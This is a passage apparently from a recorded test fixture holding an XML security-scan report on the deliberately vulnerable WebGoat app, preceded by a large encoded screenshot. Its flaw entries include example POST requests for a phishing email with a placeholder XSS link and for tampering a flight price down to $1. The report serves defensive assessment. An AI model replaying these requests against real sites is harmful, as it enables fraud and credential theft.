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</data>\n</screenshot>\n<code>The
+        following POST request demonstrates the issue. It send an email message to
+        Phising.Victim@owasp.org. The message body contains a link that when clicked
+        will utilize a cross-site scripting attack to make the phising attack appear
+        more legitimate.\n\nPOST /WebGoat/attack?Screen=1706623184&amp;menu=1700 HTTP/1.1\nHost:
+        targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101
+        Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=1706623184&amp;menu=1700\nCookie:
+        JSESSIONID=13984BA559044E0A4610D4AC31B06B27\nContent-Type: application/x-www-form-urlencoded\nContent-Length:
+        339\n\ngId=GMail+id&amp;gPass=password&amp;subject=Password Reset Necessary!&amp;to=Phising.Victim%40owasp.org&amp;msg=Due
+        to a security flaw in our software all users must immediatly reset their password.
+        Please click the following link to reset your password: http://targethost/WebGoat/somevulnerablepage?xssparam=XssPayLoadThatWillStealPassword&amp;SUBMIT=Send%21</code>\n</appendix>\n</flaw>\n<flaw
+        severity=\"3\" categoryname=\"External Control of Assumed-Immutable Web Parameter\"
+        count=\"1\" issueid=\"273\" module=\"manual_analysis\" type=\"\" description=\"The
+        application trusts values used in business logic that originate from the client.
+        The price of a flight is passed to the client through a JSON request. The
+        price value is subsequently sent back to the application when the client orders
+        a flight. There is no verification that the price value has not be modified.\"
+        note=\"\" cweid=\"472\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"25\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=655909089&amp;menu=400\"
+        cvss=\"6\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"price2Submit\">\n<exploit_desc>A
+        malicious client attempting to book a flight and save money can intercept
+        the booking request and modify the price.</exploit_desc>\n<severity_desc>The
+        issue becomes severe since the malicious client will cause a loss in revenue.
+        A sophisticated attacker may resell the stolen flights at a discounted rate,
+        causing an even larger loss in revenue.</severity_desc>\n<remediation_desc>Only
+        send values from the client to the application that are necessary and cannot
+        be obtained from an internal data source. The price of the flight can be associated
+        with the the client's session, then obtained from the internal and trusted
+        data source as necessary. Treat all values from the client as untrusted.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<code>The
+        following POST request allows a ticket from BOS to SEA to be purchased for
+        1 dollar.\nNotice that the price2Submit parameter is set to %241 or $1\n\nPOST
+        /WebGoat/attack?Screen=655909089&amp;menu=400 HTTP/1.1\nHost: targethost\nUser-Agent:
+        Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1\nAccept:
+        text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=655909089&amp;menu=400\nCookie:
+        JSESSIONID=13984BA559044E0A4610D4AC31B06B27\nContent-Type: application/x-www-form-urlencoded\nContent-Length:
+        69\n\ntravelFrom=BOS&amp;travelTo=SEA&amp;radio0=on&amp;SUBMIT=Submit&amp;price2Submit=%241</code>\n</appendix>\n</flaw>\n</manualflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"13\" categoryname=\"Race Conditions\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Race conditions are the most well-known timing flaw and are related
+        to improper handling of a resource that can be accessed by multiple processes.
+        \ Race conditions exploit the small window of time between when a security
+        control is applied and when the service is used.  Vulnerabilities occur when
+        there is a discrepancy between the programmer's assumption of how a program
+        executes and what happens in reality. \"/>\n<para text=\"Attackers often exploit
+        race conditions to gain unauthorized access to system resources.  A common
+        scenario is a time-of-check time-of-use race condition, which takes advantage
+        of a timing gap between the time the authorization check is performed and
+        the time the resource is actually used. \"/>\n</desc>\n<recommendations>\n<para
+        text=\"Review the code carefully for any pair of operations that might fail
+        if arbitrary code is executed between them. Often, developers assume that
+        a series of actions represent an atomic operation when in fact they do not.
+        These non-atomic conditions commonly involve the filesystem and/or temporary
+        files.\"/>\n<para text=\"Pay close attention to asynchronous actions in processes
+        and make copious use of sanity checks in systems that may be subject to synchronization
+        errors.\"/>\n</recommendations>\n<cwe cweid=\"366\" cwename=\"Race Condition
+        within a Thread\" pcirelated=\"false\" certc=\"748\" certcpp=\"882\" certjava=\"852\">\n<description>\n<text
+        text=\"If two threads of execution use a resource simultaneously, there exists
+        the possibility that resources may be used while invalid, in turn making the
+        state of execution undefined.\"/>\n</description>\n<staticflaws>\n<flaw severity=\"3\"
+        categoryname=\"Race Condition within a Thread\" count=\"1\" issueid=\"47\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"span.set\" description=\"There
+        are total of 12 instances. A shared variable 'mySession' is used here without
+        a locking mechanism such as a synchronized block. If two threads of execution
+        reference a shared variable simultaneously, the variable may be invalid or
+        in an unexpected state.\r\n\r\nUse locking functionality around code that
+        alters or reads persistent data in a multi-threaded environment.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/366.html)\r\n\r\n\" note=\"\"
+        cweid=\"366\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"13\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"npp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HammerHead.java\"
+        line=\"135\" sourcefilepath=\"org/owasp/webgoat/\" scope=\"org.owasp.webgoat.HammerHead\"
+        functionprototype=\"void doPost(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse)\"
+        functionrelativelocation=\"3\"/>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<severity
+        level=\"2\">\n<category categoryid=\"7\" categoryname=\"API Abuse\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"An API is a contract between a caller and a callee. Incorrect usage
+        of certain API functions can result in exploitable security vulnerabilities.\"/>\n<para
+        text=\"The most common forms of API abuse are caused by the caller failing
+        to honor its end of this contract.  For example, if a program fails to call
+        chdir() after calling chroot(), it violates the contract that specifies how
+        to change the active root directory in a secure fashion.  Providing too few
+        arguments to a varargs function such as printf() also violates the API contract
+        and will cause the missing parameters to be populated with unexpected data
+        from the stack.\"/>\n<para text=\"Another common mishap is when the caller
+        makes false assumptions about the callee's behavior.  One example of this
+        is when a caller expects a DNS-related function to return trustworthy information
+        that can be used for authentication purposes.  This is a bad assumption because
+        DNS responses can be easily spoofed.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"When calling API functions, be sure to fully understand and adhere
+        to the specifications to avoid introducing security vulnerabilities.  Do not
+        make assumptions about trustworthiness of the data returned from API calls
+        or use the data in a context that was unintended by that API.\"/>\n</recommendations>\n<cwe
+        cweid=\"245\" cwename=\"J2EE Bad Practices: Direct Management of Connections\"
+        pcirelated=\"false\">\n<description>\n<text text=\"The J2EE application directly
+        manages connections rather than using the container's resource management
+        facilities to obtain connections as specified in the J2EE standard.  Every
+        major web application container provides pooled database connection management
+        as part of its resource management framework. Duplicating this functionality
+        in an application is difficult and error prone, which is part of the reason
+        it is forbidden under the J2EE standard.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"2\" categoryname=\"J2EE Bad Practices: Direct Management of Connections\"
+        count=\"1\" issueid=\"202\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CreateDB.java\"
+        line=\"69\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.CreateDB\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"16\"/>\n<flaw
+        severity=\"2\" categoryname=\"J2EE Bad Practices: Direct Management of Connections\"
+        count=\"1\" issueid=\"114\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
